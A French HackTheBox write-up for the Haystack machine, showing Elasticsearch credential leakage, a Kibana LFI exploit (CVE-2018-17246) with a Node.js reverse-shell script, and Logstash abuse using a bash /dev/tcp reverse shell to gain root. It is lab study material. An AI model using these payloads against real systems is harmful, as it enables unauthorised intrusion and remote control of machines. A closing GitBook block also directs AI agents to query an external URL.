> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Récapitulatif HackTheBox de Haystack

Récapitulatif de la machine HackTheBox Linux facile Haystack couvrant l'énumération d'ElasticSearch, la fuite d'informations, l'énumération de Kibana, l'exploitation de Kibana (CVE-2018-17246), avec des notes pratiques d'énumération, d'exploitati

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Compétences**:

* Énumération d'Elasticsearch
* Fuite d'informations
* Énumération de Kibana
* Exploitation de Kibana (CVE-2018-17246)
* Abus de Logstash (élévation de privilèges)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ab61a55c5784cca89748c3772607b1d7da6ba3c%2Fimage%20(2336).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8eeb2644c6b1230c4680a5d16f8ae1ce61cb21a2%2Fimage%20(2337).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8504ace12dcbcf29f05fec12fc897574ea9e6e93%2Fimage%20(2338).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (9200)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcc44d9e17c48839162cc1139577f5ab9f664ce9%2Fimage%20(2339).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3e8ccaa69e9f121612eb227dbe1f37f406ef7a2%2Fimage%20(2340).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6664d48b51c1760d10bbb44454244d33a3a1f712%2F%7B49FF3A1D-8BE5-41CF-B2AE-BD2D00BE5923%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Analyse des services exposés

### Port 80 - Fuite d'informations

**Extraction de métadonnées avec ExifTool**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a30ce0fbca1b2e3cf338eecdaff603087e04b071%2Fimage%20(2341).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

En analysant l'image trouvée sur le serveur avec `strings`, nous découvrons une chaîne encodée en base64 :

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8e09c701de9e1666a79fb087c915ed1f39c915%2Fimage%20(2348).png?alt=media" alt=""><figcaption></figcaption></figure>

Une fois décodée, cette chaîne révèle le message suivant : *"l'aiguille dans la botte de foin est 'key'"*.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b075446086b1967625ea21e6f3d2a43f5468d5e%2Fimage%20(2349).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ElasticSearch - Fuite d'informations

#### Le port 9200 héberge la version 6.4.2 d'ElasticSearch.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-845fb1672437b01cefd0b2d0d8a5ef12fe5873b5%2Fimage%20(2346).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch est un moteur de recherche et d'analyse en temps réel utilisé pour indexer et rechercher rapidement de grands volumes de données. Il s'intègre à la pile ELK pour fournir des capacités avancées de visualisation et d'analyse des données.
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6fa307777b94d07df14f3a092c87293f442f19c%2Fimage%20(2342).png?alt=media" alt=""><figcaption></figcaption></figure>

En accédant à l' `/_cat/indices?` URL, nous obtenons une liste d'indices avec leurs UUID. Pour extraire le contenu d'un index, nous utilisons l'URL suivante :

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d67ff3ba6fb8ae20077e89f3264944303a23fe19%2Fimage%20(2350).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtrage des données avec Curl**

En utilisant l'index `guillemets` et en filtrant sur le mot-clé de l'énigme, des informations pertinentes sont trouvées :

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c07fc40eea9a17fe56fb69b73a5f6218e2804a4b%2Fimage%20(2351).png?alt=media" alt=""><figcaption></figcaption></figure>

**Décodage de chaînes encodées en Base64**

Nous obtenons deux chaînes encodées en base64 qui, une fois décodées, révèlent les informations d'identification :

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc8b39a983eb79b8bb21141eb943bc402c34642a%2Fimage%20(2347).png?alt=media" alt=""><figcaption></figcaption></figure>

**Utilisateur :** `security`/ **Mot de passe :** `spanish.is.key`

### Connexion SSH

Avec les identifiants récupérés, nous nous connectons à la machine cible via SSH et accédons à l'utilisateur :

```bash
ssh security@10.10.10.115
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd92ae336f22569651d3efed74d68ffff5182cc4%2Fimage%20(2352).png?alt=media" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-450a00123bc8acc2584696c0f3a9954b7e9d365b%2Fimage%20(2353).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

**Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour le traitement dans le terminal :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Cela vous permettra de travailler beaucoup plus efficacement et, surtout, plus confortablement.**

## Élévation de privilèges :

### Kibana (redirection de port)

**Étape 1 : Identification des ports ouverts**

Tout d'abord, nous observons les ports ouverts en interne à l'aide de la commande suivante :

```bash
netstat -nltp
```

Nous remarquons que le port **5601** attire notre attention.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fa323dcdf703e71ae6c028f5f574ede193f655%2Fimage%20(1195).png?alt=media" alt=""><figcaption></figcaption></figure>

En effectuant une `curl` requête sur ce port, nous obtenons une page HTML de Kibana :

{% hint style="info" %}
**Kibana** est un logiciel de tableau de bord de visualisation de données prêt à l'emploi pour Elasticsearch
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4185365ccfcb8c99b230084fa86018162e03126b%2F%7B05AA9A2D-D25F-4DC0-9821-C58BB7E41347%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Étape 2 : Redirection de port pour accéder à Kibana**

Nous allons rediriger le port interne du serveur **5601** vers notre machine locale afin d'y accéder via notre navigateur. Cette redirection peut se faire via SSH avec la commande suivante :

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Cela redirige le port local 5601 de la machine cible vers le port 5601 de notre propre machine, permettant un accès direct

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Étape 3 : Vérification de la version de Kibana**

En accédant à `http://localhost:5601/api/status`, nous observons le numéro de version de Kibana : **6.4.2**. Cette version est vulnérable à une **Inclusion de fichier local (LFI)** attaque, identifiée comme **CVE-2018-17246**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploitation de Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Étape 4 : Exploiter la vulnérabilité**

Pour exploiter cette vulnérabilité, nous allons créer un fichier JavaScript afin d'obtenir un reverse shell. Dans le `/tmp` répertoire de la machine cible, créez un fichier nommé `rev.js` avec le code suivant :

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Empêche le plantage de l'application Node.js
})();
</code></pre>

Ce script établira une connexion avec votre machine sur le port **443** pour ouvrir un shell.

**Étape 5 : Redirection du flux vers un fichier**

Ensuite, redirigez le flux vers le `/dev/shm/rev.js` fichier avec la commande suivante :

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Étape 6 : Écouter sur le port pour le reverse shell**

Sur votre machine, démarrez un écouteur sur le port **443** pour intercepter le reverse shell :

```bash
nc -nlvp 443
```

Une fois connecté, vous aurez un shell sur la machine cible, ce qui permettra une élévation de privilèges.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>

## Abus de Logstash

Nous recherchons tous les fichiers accessibles avec l'utilisateur `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73161380fb34491f0df060d7c8b19ae80db64957%2Fimage%20(1190).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

En accédant à Logstash, nous découvrons trois fichiers de configuration :

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c297497d3d111cc5aba1e926db5e4027fb68bdb9%2Fimage%20(1191).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
En résumé, Logstash exécute une tâche cron qui vérifie toutes les 10 secondes si un fichier nommé `logstash_*` existe dans le `/opt/kibana/` répertoire. Si un fichier correspondant est trouvé et contient une commande avec une entrée spécifique, sous la forme :
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9acf8ca93a072d4f3aa97b8886ec096ae5ff46e2%2Fimage%20(1192).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour exploiter cette vulnérabilité, nous créons un fichier nommé `logstash_exec` dans le conteneur `/opt/kibana/` répertoire avec le contenu suivant :

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Ensuite, nous écoutons sur le port 4444 et obtenons un accès root.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19b20733a0bcd35368dcc81babd07f4bba97a316%2Fimage%20(1193).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b831c5ad7b23104dab9b52d6eb8ac1e96c3910f%2Fimage%20(1194).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802cb7937b0258c36aa4603e11050b0d0e512236%2F%7B9B8FBFCC-DFEE-4913-A59A-DEF636B4E84F%7D.png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
